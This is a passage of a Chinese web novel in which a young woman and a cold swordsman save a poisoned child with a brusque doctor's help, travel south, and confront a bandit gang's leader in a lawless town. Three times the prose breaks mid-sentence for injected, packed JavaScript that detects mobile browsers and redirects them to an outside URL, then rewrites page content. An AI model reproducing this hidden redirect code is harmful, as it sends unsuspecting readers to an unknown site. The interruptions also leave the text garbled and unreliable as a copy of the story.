就在这时,医馆后门方向忽然传来“哐当”一声巨响,像是竹筐摔在地上的声音,紧接着是一连串暴躁的骂骂咧咧: “操!谁他妈把破筐子扔路中间?!老子的‘七星草’!刚采的!全撒了!哪个不长眼的——” 声音由远及近,后门帘子“唰”地被掀开,一个头发用木簪胡乱挽着的年轻男子闯了进来。他灰布长衫的下摆沾满泥点和草屑,背上背着个半空的药篓,此刻正弯腰心疼地捡拾从篓边散落的几株泛着银光的药草。 正是苏衍。 老者显然认识他,忙道:“苏小先生回来了?正好,这有个急症——” 苏衍头也不抬,继续骂骂咧咧:“急症急症,哪个不急?老子三天没合眼了,刚在山里蹲一宿就为这几株草……”他捡起最后一株,小心翼翼放回药篓,这才直起身,不耐烦地抬眼扫向诊榻方向。 然后,他的目光顿住了。 先是看见榻上昏迷的孩子,眉头习惯性皱起。接着视线平移,落在站在榻边的江晚怜身上——浅藕荷色衣裙虽已沾尘,但他认得那身衣服,是他妹的。最后,他的目光定格在窗边那道玄黑身影上。 四目相对。 苏衍脸上的暴躁表情凝固了一瞬,随即转化为一种混合着惊讶、不爽和“怎么又是你”的复杂神情。他嘴角抽了抽,缓缓吐出三个字: “我、的、娘。” 无忏神色不变,只微微侧身,让出榻上孩子的全貌。 苏衍翻了个白眼,把药篓往柜台一扔,发出“咚”的闷响。他一边挽袖子一边骂骂咧咧地走过来:“老子就知道,遇见你准没好事。上次是‘毒蛛’,这次又是什么幺蛾子?这孩子……啧。” 他嘴上不停,动作却已切换到郎中模式。手指搭上孩子手腕的速度比刚才的老者快得多,只闭目凝神几息,便睁眼,一把扯开孩子衣襟,查看胸前和腹部的皮肤,又掰开孩子的嘴看舌苔。 “针孔在哪?”他问。 江晚怜赶紧指了孩子手腕内侧那处暗红。 苏衍凑近细看,甚至低头嗅了嗅针孔周围极淡的气味,眉头越锁越紧:“不止一处,腹部、后颈应该也有,只是浅,快消了。”他直起身,看向无忏,语气难得没了戏谑,“你们从哪儿捡的这孩子?他中毒至少三个月了,不是一次下的,是长期、小剂量、多种毒物混杂喂养出来的。” 长期喂养?江晚怜倒吸一口凉气,想起赵德富那张癫狂的脸,一阵恶心。 “他父所为,为求长生,以子试药。 “长生?”苏衍像是听到了天大的笑话,嗤笑一声,那笑声里却满是寒意,“用这种阴损法子,炼出来的怕不是仙丹,是阎王帖。”他不再多问,转身对老者道,“李大爷,借您银针一用,再劳烦按我那‘第一百七十九幅药方’煎来,快!” 老者连忙去抓药备针。苏衍从自己药篓里摸出几个小瓶,倒出不同颜色的药粉在掌心混合,又兑了点随身水囊里的清水,调成糊状。 “你,”他指了指江晚怜,“把他上衣全解开,扶稳了,我要施针放毒血。” 江晚怜赶紧照做。孩子瘦骨嶙峋的上身暴露在晨光里,皮肤下隐约可见青黑色的脉络,触目惊心。 苏衍下针极快,银光闪烁间,七八根长针已精准刺入孩子胸腹几处大穴。接着,他用小刀在针孔旁极轻地划开小口,暗红发黑的血液缓缓渗出。他立刻将调好的药糊涂抹在伤口周围,那药糊竟像有生命般,将渗出的毒血一点点“吸”出来,颜色由黑转暗红,再转鲜红。 “这……”江晚怜看得目瞪口呆。 “老子特制的‘拔毒散’,贵得很,便宜你这小子了。”苏衍嘴上不饶人,手上动作却稳如磐石。他又在孩子头顶和耳后下了几针,孩子的呼吸肉眼可见地平稳了些许,虽然依旧微弱。 整个过程持续了一炷香时间。待放出的血液颜色完全恢复正常,苏衍才拔针,用干净布巾擦拭伤口,敷上另一种淡青色的药膏。这时,李伯也端来了煎好的药。 “喂他喝,一点一点喂,呛了就拍拍背。”苏衍指挥着,自己则走到一旁的水盆边洗手,洗得格外用力。 江晚怜小心地扶起孩子,用小勺一点点喂药。孩子无意识地吞咽,虽然洒了不少,但总算喝下去小半碗。喝完后,他青白的小脸上似乎有了一丝极淡的血色,呼吸也深长了些。 苏衍擦干手走回来,再次诊脉,眉头稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039122|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松:“暂时死不了了。但毒根太深,想全解,得知道具体用了哪些毒物。” “他父已死,宅子烧了。”无忏道。 “猜到了。”苏衍毫不意外,“跟你沾边的有几个能活?”他从药篓里翻出纸笔,唰唰写下一串药名,递给江晚怜:“这些药,大部分城里大药房能抓到,按这个方子,每日早晚各一剂,连服七日。七日后若高热不再反复,脉象平稳,再换方子调理。” 江晚怜接过药方,看着上面龙飞凤舞的字迹,郑重道:“苏大夫,谢谢你。” “别谢,收费的。”苏衍伸手,“诊金、药费,加上老子的‘拔毒散’,算你……”他眼珠一转,瞥向无忏,“一百两,不还价。” 江晚怜一愣,我靠这么贵!?然而无忏已经从怀中取出赵德富那个染血的锦囊,放在桌上。 苏衍挑眉:“哟,这么爽快?”他拿起锦囊打开,抽出银票对着光看了看,确认是真的,这才揣进怀里,语气缓和了些,“孩子先在这儿养两天,你们最好别在这儿久留,刚一路过来,听见几个江湖客打扮的人在打听‘一男一女带着个孩子’。” 无忏眼神微凝:“什么样?” “一个使判官笔的瘦高个,一个扛九环刀的秃头,还有一个……”苏衍回想,“穿得花里胡哨、摇着扇子的公子哥,看着最斯文,眼神却最毒。他们往村口方向去了,但保不齐会折返。” 江晚怜心头一紧,又是追兵?这还没完没了了! “知道了。”无忏点头,看向榻上的孩子,“他何时能好?” “三天。”苏衍说得肯定,“配上我自制的‘全江湖乃至全世界最好最顶尖最完美最优秀超级无敌巨无敌的拔毒散’三天便可完全痊愈。” 无忏看了他一眼,没说话。 苏衍被他看得发毛:“干嘛?老子脸上有花?” “你为何在此?”无忏问。 苏衍一噎,随即理直气壮:“采药啊!白溪村后山有片崖壁长‘七星草’,这季节正好。谁知道会撞上你们……”他忽然想起什么,狐疑地眯起眼,“等等,你们该不会也是冲着那批‘货’来的吧?” “什么货?”江晚怜下意识问。 苏衍打量她片刻,见她神色不似作伪,才压低声音:“就这几天在黑市传开的,说白溪村附近出了批‘古董’,跟十几年前一桩旧案有关。具体什么我不清楚,但那几个打听你们的江湖客,口音不像本地,倒像是……北边来的。” 北边? 无忏的神色依旧平静,但江晚怜敏锐地察觉到,他周身的温度似乎又降了半分。 “谢了。”无忏对苏衍说,随即看向江晚怜,“收拾,一炷香后出发。” “现在?”江晚怜一愣,“孩子还没醒,而且苏大夫说明天才能——” “追兵已近,不能等。”无忏打断她,语气不容置疑:“剩下交给苏衍就行。” 苏衍:“你他妈到底把老子当什么了!?” 一炷香后,他们辞别李伯和苏衍,悄然从医馆后门离开。阳光明晃晃地照在青石板路上,江晚怜回头看了眼医馆紧闭的木门,心里记挂着那个可怜的孩子。 47. 十万个能不能吃 晨光轻柔地刺破林间薄雾,一阵清越鸟鸣将江晚怜唤醒。她迷迷糊糊睁开眼,发现自己不知何时已裹着一件宽大的黑色外袍,蜷在将熄未熄的火堆旁,睡得格外沉。火堆早已熄灭,只余下一捧温热的灰烬,在渐亮的晨光里透着淡淡的暖意。 而无忏就坐在离她仅三步远的一块青石上,长剑横放膝头,正用一块粗布缓缓擦拭剑身。他的动作很慢,很专注,从剑柄到剑尖,一寸一寸地抚过去,仿佛那不是兵器,而是什么需要小心呵护的珍贵之物。晨光透过枝叶缝隙,碎金般洒落在他肩头、发梢,也落在那柄通体黝黑的长剑上——可那剑身却映不出半点光亮,仿佛所有光线都被悄然吸纳,沉入一片深不见底的墨色之中。 江晚怜坐起身,揉了揉有些发麻的胳膊。这一夜竟睡得意外安稳,无梦无惊,也未觉寒意。她低头看了看身上披着的、明显属于男子的外袍,又抬眼望向只着一件单薄中衣的无忏。他肩背挺直,侧影在晨光里显得清晰而安静,叫她心里那点说不清道不明的情绪,又轻轻悄悄地漫了上来,像溪水漫过石隙,无声却分明。 “醒了就收拾。”无忏并未抬头,手中的动作也未停,声音是一贯的平淡。 “哦……”江晚怜应着,乖乖爬起来。她仔细将外袍折叠整齐,走到他身边,递过去,“还给你。” 无忏这才停下动作,伸手接过,披回外袍的动作自然流畅,仿佛只是随手取回一件寻常物件,而非将御寒的衣物让予他人一整夜。 两人简单收拾了行囊,用泥土仔细掩埋了火堆的痕迹,便重新上路。 据无忏所言,他们正沿着一条鲜为人知的僻静小径向南而行,绕过官道,避开城镇,专挑这样的人迹罕至处走。路程或许会远些,却更为安全——况且,此处树林稀疏,不易迷路。 深秋的山林确实美得令人心折。枫叶红得灼灼如焰,银杏黄得灿烂如金,其间又点缀着苍翠的松柏,层层叠叠的色彩在澄澈的晨光中晕染交融,宛如一幅徐徐展开的瑰丽画卷。空气清冽而湿润,带着落叶腐烂与泥土混合的独特气息,呼吸间尽是自然的芬芳。 江晚怜起初还老实跟在无忏身后约三步之遥,可走着走着,目光便被沿途景致牢牢吸引。她忍不住放慢脚步,俯身拾起一片形状近乎完美的枫叶,又仰头去瞧枝头倏忽蹿过的松鼠,甚至蹲在路边,好奇地打量一丛结着灯笼似的红色浆果。 “这个能吃吗?”她指着那鲜艳欲滴的果子,抬头问道。 无忏闻声回头瞥了一眼,吐出二字:“不能。” “哦……”江晚怜悻悻收回手,起身跟上。 又走了一段,路旁一株老树上垂下的藤蔓吸引了她的注意,上面挂满了密密的紫色小果,颗颗圆润如珠,宛若微缩的葡萄。 那这个呢?”她眼睛一亮,语气里带上了不自觉的期待。 “能吃。”无忏的回答简短依旧。 “我想尝尝!”她话音未落,已提着裙摆,轻巧一跃攀上了较低的枝干,伸手去够那串最饱满的果子。奈何重心不稳,摘到果子的同时,人也晃悠悠地从树干上跌了下来。 ……她何时才能让人省心些?无忏心中掠过一丝无奈的喟叹,脚步却已下意识顿住,目光追随着那道坠下的身影。 江晚怜却浑不在意,摊开手掌,几颗紫得发黑、表面覆着淡淡白霜的小果正安静躺着。她捻起一颗放入口中,顿时酸得整张脸都皱了起来,眉眼鼻尖几乎要挤到一处。 可那汹涌的酸意过后,舌根竟缓缓泛起一丝清浅的甜,混合着野果特有的草木清香,在口腔里悠悠蔓延开来。 “好吃!”她眼睛弯成了月牙,又摘了几颗捧在手心,快走几步凑到无忏身旁,献宝似地递过去,“你要不要?” 无忏脚步未停,只侧目扫过她亮晶晶的眼眸和微扬的唇角,那沾了点点果汁的唇瓣在晨光下显得格外柔软。他很快收回视线,语气里藏着一丝自己都未曾察觉的纵容:“不用。” 江晚怜也不介意,自顾自一边走一边吃,酸一下甜一下的滋味交替袭来,让人莫名上瘾,连脚步都似乎轻快了许多。 日头渐高,阳光变得温暖明亮,林间小径也愈发开阔。前方传来潺潺水声,清越动人。 “有水声!”江晚怜快走几步,果然看见一条清澈见底的小溪横亘眼前。溪面不宽,踩着裸露的卵石便可过岸,但那流水声在寂静山间格外悦耳,恍若碎玉敲冰。 她在溪边蹲下,掬起一捧清冽的溪水扑在脸上。冰凉触感霎时驱散了行走的微热与疲惫。水面微微晃动,倒映出她此刻的模样——那张曾令自己厌恶的面容,被山风吹出浅浅红晕,几缕发丝松散贴在颊边,可一双眼睛却清澈明亮,映着粼粼波光,竟有几分生动鲜焕的神采。 不知从何时起,她对“江晚怜”这个身份的纠结与憎恶,似乎悄然淡去了许多。如今盘踞心头的,更多是如何在这陌生世间活下去,以及……那渺茫得几乎不敢深思的“回去”之念。 无忏也在溪畔驻足,目光却似穿过稀疏的树影,投向远方渺茫的山峦轮廓。 “我们还要走多久,才能到……下一个落脚处?”江晚怜甩了甩手上的水珠,问道。她至今仍不清楚最终目的地究竟在何方,无忏始终只答“向南”。 “……不知道。” “又不知道?!”江晚怜忍不住瞪向他。相处这些时日,她已能从他平淡语调里辨出细微的起伏——方才那句,分明充斥着满满的打趣意味! 无忏侧首望来。那双左绯红,右翠绿的眼瞳——在明亮天光下显得格外清晰,此刻正清清楚楚映着少女微微鼓着脸、有些气恼的模样。她像只被惹急了的小雀,正冲着他叽叽喳喳,明明是该觉得聒噪的景象,却不知为何,让他一时移不开目光。 他面上不显,嘴角的线条却在无人察觉处,几不可察地柔和了一瞬。 “看情况。”他收回视线,语气平淡如常。 “喂——!!我刚才说了那么多,你到底听进去没有啊?”江晚怜跟在他身后追问,声音里带着毫不掩饰的懊恼。 一阵小小的、并无恶意的争执过后,两人仍需继续赶路。他们一前一后踏上溪中卵石。溪水很浅,仅没过脚踝,但石面湿滑,布满青苔。江晚怜走得小心翼翼,一步一顿,身形难免有些摇晃。行至溪流中央最滑处,她脚下一个趔趄,惊呼声尚未出口,整个人便不由自主地向旁歪倒—— 就在她以为必定要摔进冰凉溪水之际,一只温暖而有力的手稳稳抓住了她的上臂。无忏不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047960|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何时已悄然来到她身侧,那只手力道恰好,轻轻一提,便将她带离险处,安然落足在对岸坚实的土地上。 “谢、谢谢……”江晚怜站稳身形,惊魂未定地拍了拍心口,抬眼看向他。 无忏只是微微颔首,见她无恙,便松开手,继续向前走去。 “对了,”她定了定神,快走两步与他并肩,问出那个萦绕心头许久的疑问,“之前遇到的那两个穿红衣的人……你知道他们的来历吗?” 那两人的出现与消失都太过突兀,总让她觉得非同寻常。何况初见时,那隐隐的熟悉感始终挥之不去。 无忏沉默地走了一段路。林间静谧,只余两人轻浅的脚步声,与风吹过树梢的沙沙轻响。 就在江晚怜以为他又要如往常般沉默以对时,他低缓的嗓音响起: “长相思,彼岸红。” 江晚怜一怔:“什么?” “他们的代号。”无忏目视前方,声音平静无波,“男为‘长相思’,女为‘彼岸红’。” “长相思……彼岸红……”江晚怜喃喃重复,忽然脑海中电光石火般闪过某些片段,她倏然睁大双眼,“等等!难道他们是——!!” 她想起来了!在原作的漫画设定里,确实有这样一对人物。他们仅在故事中后期、女主叶玖与男主李子遥同无忏决战前数章,有过惊鸿一瞥般的短暂登场。那可是暗杀榜上名列第二与第十一的顶尖人物!尽管在漫画中戏份寥寥,近乎龙套,但她记得,自己那位酷爱钻研设定的闺蜜曾专门分析过这对CP,称他们是江湖中最神秘莫测、也最令人忌惮的组合之一。 漫画对他们的描绘极少,江晚怜一直以为那是后期才会登场的角色,万万没想到,自己竟这么快就与他们打了个照面! “那他们来找我,是为了……悬赏?”她压下心中惊诧,追问道。 “凑热闹。” “呃……”江晚怜一时语塞,忍不住侧头仔细打量无忏的神情,试图判断这三个字的可信度。他将“凑热闹”说得太过理所当然,反而让她不知该如何接话。愣了好一会儿,她才找回自己的声音:“凑、凑热闹?就只是……因为这个?” 无忏脚步未停,声线平稳:“长相思行事向来随性,听闻有趣之事,便会前来一观。” 江晚怜忆起白溪村那夜,长相思笑吟吟问她“你就是江晚怜”时的神情——那双含笑的眼里,确实未见杀意,倒真像极了兴之所至、前来瞧个新鲜。而他身旁的彼岸红虽面若冰霜,却也未曾真正出手,那模样与其说是来杀人,不如说是因为没打过无忏吃了瘪而心有不甘。 “所以他们当真不是来取我性命的?”她再次确认,心跳却因这个认知莫名快了几分。 “若真想杀你,”无忏侧目看她,目光在她颈间若有似无地停留一瞬,语气依旧平淡无波,“那夜,你已活不到天明。” 这话说得轻描淡写,江晚怜却听得脊背微凉。确实,若那两人当真动了杀心,她根本毫无招架之力,瞬息之间,她这短暂而离奇的穿漫之旅便会仓促画上句号。 山风拂过,吹动两人衣摆,也吹散了林间薄雾。阳光毫无遮拦地洒落,将并肩而行的两道身影,在地上拉出时而交错、时而分离的长长影子。 48. 鼠窑拦路 南行的路,注定不会一帆风顺——这道理江晚怜在跟着无忏踏入这片越来越荒僻的山地时,就已有了觉悟。只是她没料到,麻烦会以如此……滑稽的方式出现。 “喂!!你们俩别给脸不要脸!都说了让开让开,怎么还像两根木桩子似的杵在这儿?!”江晚怜从无忏身后探出半个身子,手指毫不客气地指向拦在窄道中央的两人。 那是两个穿着灰扑扑短打的年轻男子,面相带着几分市井痞气,此刻正梗着脖子,试图摆出凶神恶煞的模样——如果忽略他们微微打颤的小腿的话。他们站立的位置选得颇为刁钻,恰好卡在一段仅容两人并肩通行的窄道入口,身后是陡峭的山壁,前方是深不见底的沟壑,颇有些“一夫当关”的架势,只可惜这“夫”的气势实在弱得可怜。 高个的听见这话,脸皮抽了抽,显然不太乐意被个姑娘这般指着鼻子骂。可他目光一触到挡在姑娘身前那位黑衣抱剑、周身散发着“生人勿近”寒气的男子,那点不乐意顿时蔫了下去,连带着声音都结巴起来:“我、我不管!此路可是我们‘鼠兄鼠弟’开的!要想从这儿过,留下值、值钱的玩意儿!” “我去你的!还你开的?我还说这全天下的路都是我的呢!”江晚怜眉毛一竖,嘴上功夫半点不饶人,“赶紧让道,别待会儿被打得哭爹喊娘!” 她这番话说得那叫一个气势十足,全然忘了自己正躲在别人身后。 还真是……狐假虎威得理直气壮。 无忏侧目瞥了她一眼。晨光落在她因激动而微红的脸颊上,那双眼睛瞪得圆溜溜的,像只张牙舞爪却又没什么实际威胁的小兽。他眼底掠过一丝极淡的、连自己都未曾察觉的无奈,随即将目光重新投向拦路的两人,薄唇微启,只吐出一个字: “滚。” 声音不高,却淬着冰碴,带着一股不容置疑的锋锐之意,瞬间压过了江晚怜所有的咋呼声。 极具震慑力! 那看起来更为年少的“鼠弟”吓得一哆嗦,几乎是连滚带爬地凑到高个“鼠兄”耳边,带着哭腔小声道:“哥……我、我怕啊!” “哥、哥也怕啊!”鼠兄的腿肚子抖得更明显了,他也不想啊!他也不想和榜首待在一块啊!他也不想丢了小命搁这打劫榜首啊!却还是强撑着,“但是……这是大姐头交代的活儿啊!要是没办成,咱哥俩今天别说吃饭了……明天太阳估摸着都见不着了!” 两兄弟脑袋凑在一起,窸窸窣窣、面色惨白地交流了好一阵,互相打着气,鼠兄才勉强重新挺起胸膛,深吸一口气,色厉内荏地再次开口: “你、你这个妮儿说话这么狂!有本事……有本事对我们大姐头也这么说?!” 江晚怜一听,反倒乐了:“能有什么不敢的?你们那大姐头,还能有三头六臂不成?” “大姐头可是我们‘鼠窟’里头最厉害的人物!花见花开,人见人爱!”鼠弟仿佛找到了主心骨,跟着嚷嚷起来,只是这夸赞之词怎么听怎么别扭,“到时候、到时候打得你哭鼻子!” “就是就是!”鼠兄赶紧接上,试图增加威慑力,见她似乎“怕了”,腰杆又直了半分,甚至试图扯出一个凶狠的笑容,可惜那笑容比哭还难看,“大姐头最护短了!你们欺负我们,就是打她的脸!我告诉你们,前头就是渡恶镇!你们就是有胆量、有本事,今天踩着咱哥俩的尸体过去,迟早也得被我们大姐头收拾得服服帖帖!” 渡恶镇。 这三个字像一枚石子投入脑海,瞬间激起层层涟漪。江晚怜的大脑飞速运转,记忆的碎片纷纷聚拢——在原作的漫画里,这个地名确实出现过不少次,伴随着的画面总是混乱、肮脏、弱肉强食。那是个人心比道路更崎岖的地方,律法形同虚设,拳头和银钱才是硬道理。江湖客提起它,多半会皱紧眉头,称其为“全天下最腌臜混乱的泥潭”。 她没想到,这鲜为人知的南行小路,竟会途经此地。 “所以,”江晚怜心思转得飞快,从无忏身后完全走出来,双手抱胸,打量着眼前这对活宝,“你们的意思是,我们逃不过你们大姐头的‘关照’喽?” “那、那是自然!”鼠兄说道。 “行啊,”江晚怜忽然笑了,那笑容里带着点狡黠,她转头看向无忏,眨了眨眼,“那咱们就去会会这位‘花见花开、人见人爱’的大姐头,怎么样?” 无忏没说话,只是迈步向前走去。那方向,赫然便是渡恶镇。 鼠兄鼠弟愣在原地,看着那一黑一紫的两道身影径直从他们中间穿过,仿佛他们只是两团无关紧要的空气。无忏经过时甚至没有看他们一眼,那种彻彻底底的无视比任何威胁都更令人难堪。直到人走出好几步,两兄弟才如梦初醒,对视一眼,连滚爬爬地跟了上去,嘴里还不忘虚张声势:“哎!你们还真敢去啊!等着!有你们好看!” ——所谓的“镇”,其实更像一片依着险峻山势胡乱搭建起来的庞大棚户区。 还未真正踏入,一股混杂着霉味、腐食与不知名腥臊的浑浊气味便如同有形的瘴气,扑面而来,粘滞在鼻腔与衣襟上。低矮歪斜的木板房、脏污得看不清原本颜色的毡棚、甚至直接掏凿出的山壁洞穴密密麻麻挤在一起,层层叠叠,似乎随时会在风雨中呻吟着坍塌。中间是蜿蜒狭窄、泥泞不堪的小道,污水横流。衣物晾晒得横七竖八,颜色晦暗不明,像一片片褪色的招魂幡。到处是嘈杂的人声、嘶哑的叫卖、粗野的笑骂与肆无忌惮的争吵,偶尔夹杂着几声短促的惨叫或器皿破碎的刺耳声响,旋即又淹没在更大的、永不停息的喧嚣里,形成一种令人心烦意乱的背景噪音。 目光所及,尽是形形色色面目模糊的人:蹲在墙角目光阴鸷地打量着过往行人的枯瘦汉子,指尖玩弄着几枚铜钱;倚着门框、厚重的劣质胭脂水粉却掩不住憔悴的妇人,眼神空洞地望向虚空;当街摆弄着明晃晃匕首、互相展示身上伤疤的疤脸青年;还有更多缩在自家棚屋门槛后、窗洞阴影里,只用一双双或麻木、或贪婪、或警惕、或纯粹是好奇的眼睛,打量着每一个胆敢闯入这片领域的外来者,如同打量误入狼群的羊。 江晚怜贴近了前面这个大佬一些。这里的空气都带着令人不安的压迫感,与之前山林间的清新宁静亦或者算是太平的村镇相比,简直是两个世界。 无忏的步伐依旧不快不慢,对周遭一切肮脏、混乱与潜在的恶意视若无睹,仿佛行走在无人旷野。但他握着那柄黝黑长剑剑鞘的手指,几不可察地微微收紧了些许,手背上淡青色的血管脉络略略分明。 鼠兄鼠弟跟在他们身后几步远,到了自家地盘,胆子似乎肥了不少,挺起胸膛,趾高气扬地吆喝着:“让开让开!没长眼啊!鼠窟办事!都闪一边去!” 路上行人似乎对“鼠窟”这名头有所忌惮,闻言纷纷侧身让路,目光低垂。但那些投来的视线却更加复杂,有好奇,有幸灾乐祸,有毫不掩饰的恶意,也有深藏算计的估量,像无数细小的针,扎在人的背脊上。 “大姐头在哪儿?”鼠兄扯着嗓子问一个蹲在路边玩骨牌的光头。那光头膘肥体壮,一脸横肉,裸露的胳膊上刺着张牙舞爪的靛蓝色兽头。 光头慢悠悠地打出一张牌,这才斜眼瞟了瞟无忏和江晚怜,目光尤其在无忏的剑上停留片刻,眼里闪过一丝了然和更深的玩味。他见过这两人——确切说,是见过他们的画像。就在镇上那破败不堪、贴满各种污迹斑斑告示的土墙公示处,新贴着一张墨迹犹新的悬赏令,笔触粗糙,却将这一男一女的神韵抓得几分准确,下面的赏金数额足以让这镇子里大半亡命徒红了眼。他咧开一嘴被烟熏得焦黄的牙,朝镇子深处烟雾缭绕、最为杂乱的方向努了努嘴,说道:“老地方。” 越往镇子深处走,环境似乎越发不堪。道路几乎被两侧肆意扩张的棚户挤成仅容一人通过的缝隙,头顶是交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050615|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错拉扯的绳索、晾衣竹竿和破碎的油布,漏下斑驳黯淡的天光,明明尚是白昼,却昏暗如黄昏。脚下的泥泞里混杂着菜叶、果皮、可疑的深色痕迹与说不清的黏腻,每走一步都需要小心。 最终,他们停在一处相对“宽敞”的空地前。说是空地,也不过是几栋歪斜建筑勉强围出的一片不规则泥地,中央堆着未燃尽的篝火灰烬和几个破烂瓦罐。空地中央,倚靠着一栋看起来稍微“规整”些的二层木楼,至少墙板还算齐全,门窗俱在,只是招牌歪斜着挂在檐下,上面“漏雨轩”三个字已被风雨侵蚀得模糊难辨——倒是十分贴切这镇子的气质。楼前歪七竖八地坐着、站着、蹲着几十号人,男女老少皆有,衣衫褴褛者与穿着紧绷绸衫者混杂,个个眼神不善,如同嗅到血腥味的鬣狗,沉默而专注地盯着新来的闯入者。空气中弥漫着一股汗臭、土腥和廉价脂粉混合的味道。 这里,显然就是“鼠窟”的窝点了。 鼠兄鼠弟小跑着窜到人群前,对着木楼那扇吱呀作响、漆皮剥落的大门躬身喊道:“大姐头!人、人带来了!” 木楼的门被从里面“吱嘎”一声推开,一个身影慢悠悠地踱了出来,倚在门框上,挡住了屋内更深的昏暗。 那是个女人,二十余五左右的样子。穿着一身半新不旧的深绿色劲装,布料普通,但剪裁合体,袖口利落地挽起,露出小臂上几道颜色浅淡却形态清晰的旧疤。并不算长的头发随意披散着,几缕不听话的碎发散落在额前与颈侧。她的面容并非绝美,甚至带着些许风霜刻下的细微痕迹,但眉宇间有一股寻常女子少见的疏朗与……一种深深的、仿佛对什么都提不起劲的倦怠。尤其那双眼睛,眼皮微微耷拉着,像是没睡醒,眸光也淡淡的,可偶尔抬眼一瞥时,眼底深处却骤然掠过鹰隼审视猎物般锐利冰冷的光,快得让人几乎以为是错觉。 她倚在门框上,姿态放松,甚至有些懒散,嘴里随意地咬着根草梗,漫不经心地嚼动着。过了一会,她才仿佛终于聚焦了视线,目光越过忐忑不安、几乎要缩成一团的鼠兄鼠弟,落在了几步之外的无忏和江晚怜身上。 她的视线先在无忏那柄看似寻常、却隐隐透着森然煞气的黝黑长剑上停留了一瞬,眯了眯眼,草梗停住了咀嚼。然后,她缓缓移动目光,看向江晚怜,从发髻到鞋尖,不带情绪地上下打量一番,嘴角才几不可察地扯出一个似笑非笑的弧度,像是看到了什么有趣又麻烦的东西。 “就是你们两个,”她的声音有些低哑,带着砂石摩擦般的质感,语气平平,不见怒气,却自有种让人心头一沉的份量,“把我这两个不成器的小弟,吓得差点尿了裤子?本事不小。” 周围顿时响起一阵压抑的、混杂着嘲弄与附和的哄笑,而鼠兄鼠弟臊得满脸通红,脑袋垂得更低,恨不得当场化作两缕青烟飘走。 江晚怜定了定神,压下心头因这陌生环境和眼前女子无形气场带来的一丝悸动,迎着对方那倦怠却又穿透力十足的目光,清了清嗓子,开口道:“你就是他们说的大姐头?” “是。”她简短地回答,语气依旧懒洋洋的,仿佛多说一个字都嫌费劲。她将口中的草梗取下,随手弹到泥地里,继续用那平淡无波的嗓音说:“渡恶镇里讨口饭吃的,都叫我一声‘鼠姐’。” 鼠……鼠姐?江晚怜差点没绷住表情。这取名这么随意的么?跟“鼠兄鼠弟”倒是一脉相承的……别致。她忍不住又瞥了一眼旁边恨不得把自己藏起来的兄弟俩。 鼠姐的目光再次扫过沉默如磐石的无忏,在他波澜不惊的脸上停留了一瞬,似乎想从中找出些什么,但最终一无所获。她的视线最后定格回江晚怜脸上,那总是笼罩着一层倦意的眼里,似乎有了一丝极淡的、近乎玩味的感觉。 “听说,”鼠姐慢条斯理地开口,她的嗓音在嘈杂的背景音中清晰传来,“你这小妮儿,口气不小?到了我的地头,还敢这么……精神。” 49. 十死无生和九死一生 江晚怜迎上鼠姐的目光,没有退缩。她能感觉到背后无忏站得笔直,像一堵沉默的山壁,隔绝了来自四周的大部分恶意窥探。在这种地方,一丝怯懦都可能被无限放大,变成致命的破绽,她比谁都清楚这个道理。 “精神不好,怎么敢来渡恶镇?”江晚怜尽量让自己的声音听起来平稳,甚至刻意带上了两分原主惯有的骄纵腔调,以掩饰内心真实的紧绷,“再说了,明明是你的小弟先拦我们的路,怎么反倒质问起我们来了?” 鼠姐挑起一边眉毛,那总是耷拉着的眼皮终于抬了抬,露出底下那双清澈却锐利得惊人的眼睛。她像是听到什么极为有趣的事,嘴角又扯了扯,这次的笑意真实了几分——虽然依旧浸在那股子挥之不去的倦怠劲里,像阳光勉强透过厚重的尘霾。 “拦路?”她重复道,目光慢悠悠地扫向瑟缩在一旁、恨不得把自己缩成两团影子的鼠兄鼠弟,声音拖长了,“你们俩,又去那条老窄道,装大尾巴狼了?”语气平淡,却让那两兄弟同时打了个哆嗦。 “大、大姐头,”鼠兄声音发颤,几乎带了哭腔,“我们就是按……按规矩办事,收、收点过路费,贴补窟里用度……” “规矩?”鼠姐轻轻叹了口气,那叹息里满是“我怎么收了这么两个蠢货”的无奈,以及一种更深沉的疲惫,“我有没有说过,眼睛放亮些,别什么人都往上撞?”她顿了顿,目光若有似无地掠过无忏,“你们俩的眼睛是长在脚底板上了?还是被泥糊住了?榜首也敢打劫了?” “榜首”二字一出,周围人群里又响起一阵低低的、混杂着惊讶与幸灾乐祸的哄笑和窃窃私语。鼠弟腿一软,差点跪下去,带着哭音辩解:“可、可是那悬赏令……那么高的赏金……我们以为……” 